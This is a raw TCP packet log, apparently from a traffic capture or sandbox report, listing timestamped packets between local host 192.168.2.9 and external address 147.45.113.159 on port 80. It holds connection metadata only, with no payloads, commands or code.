Dec 20, 2024 17:13:41.317370892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.317421913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.319147110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.320898056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.320955992 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.321794033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.321831942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.321876049 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.321892023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.321926117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.321959972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.321969032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.321993113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.322036028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.322036982 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.322166920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.322201967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.322211027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.322237968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.322279930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.322937965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.323123932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.323172092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.323653936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.324234962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.324279070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.324827909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.324841022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.324882030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.382277012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.382379055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.382443905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.382505894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.382621050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.382656097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.383372068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.383457899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.383491993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.384171963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.384293079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.384325981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.384917974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.385287046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.385320902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.385727882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.385875940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.385910988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.386781931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.387140036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.387178898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.390494108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.390507936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.390518904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.390531063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.390542984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.390556097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.390578985 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.390614986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.390634060 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.390768051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.390804052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.391910076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.392107010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.392142057 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.392837048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.393210888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.393249989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.393739939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.393928051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.393961906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.394361973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.394373894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.394381046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.394419909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.394571066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.394603014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.395251989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.395451069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.395482063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.395822048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.395834923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.395864010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.397141933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.397155046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.397167921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.397181034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.397187948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.397213936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.429985046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.430144072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.430156946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.430186987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.430437088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.430469990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.431113958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.431127071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.431174040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.431564093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.484319925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.495250940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.495266914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.495306015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.495718002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.495729923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.495774031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.496530056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.496542931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.496576071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.497271061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.497457027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.497507095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.498003960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.498080969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.498119116 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.498827934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.498975039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.499006987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.499581099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.499742985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.499798059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.499946117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.499957085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.499969959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.499982119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.500000954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.500024080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.502373934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.502649069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.502691984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.503098011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.503261089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.503294945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.504065990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.504234076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.504266977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.504414082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.504426003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.504456043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.505067110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.505242109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.505275965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.505764008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.505894899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.505928040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.506851912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.507029057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.507061005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.507369041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.507528067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.507560015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.508177996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.508347034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.508380890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.508847952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.508996964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.509027004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.509819031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.509830952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.509857893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.510488987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.510633945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.510668039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.511456013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.511605024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.511641026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.512267113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.512279987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.512314081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.512871027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.513032913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.513066053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.513652086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.513796091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.513829947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.514482021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.514637947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.514681101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.515448093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.515604019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.515641928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.516117096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.516129017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.516172886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.516886950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.517218113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.517260075 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.517683983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.517697096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.517729044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.574364901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.574384928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.574465036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.574529886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.574815989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.574826956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.574856997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.575467110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.575508118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.575570107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.576507092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.576549053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.576636076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.577111959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.577146053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.577270031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.577836037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.577871084 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.578016043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.578751087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.578764915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.578800917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.579500914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.579514027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.579539061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.580178022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.580214024 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.580333948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.582129002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.582144022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.582155943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.582161903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.582170010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.582191944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.583466053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.583477974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.583489895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.583501101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.583503962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.583530903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.585700035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.585714102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.585726976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.585741043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.585747004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.585755110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.585777998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.585803986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.586110115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.587338924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.587352991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.587364912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.587378025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.587385893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.587414980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.589154005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.589168072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.589179993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.589199066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.589212894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.592189074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.619707108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.619791031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.620966911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.620979071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.620990992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.621004105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.621016026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.621124029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.621124029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.622111082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.622149944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.691499949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.691744089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.691891909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.691906929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.691968918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.692009926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.692605972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.692754030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.692797899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.693402052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.693551064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.693588018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.694391012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.694403887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.694438934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.695012093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.695077896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.695116997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.695765972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.695869923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.695909023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.696552038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.696664095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.696707964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.697307110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.697474957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.697518110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.698101044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.698139906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.698179007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.698923111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.699022055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.699060917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.699747086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.699834108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.699873924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.700511932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.701061964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.701112032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.701226950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.701338053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.701379061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.702115059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.702238083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.702286005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.702836037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.702943087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.702982903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.703604937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.703653097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.703696966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.704417944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.704524040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.704576969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.705149889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.705220938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.705265045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.705915928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.705992937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.706034899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.706767082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.706779957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.706830978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.707575083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.707629919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.707670927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.708266973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.708393097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.708431005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.709076881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.709141970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.709177971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.710124016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.710135937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.710174084 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.711368084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.711380959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:41.711424112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:41.711466074 CET	80	49711	147.45.113.159	192.168.2.9
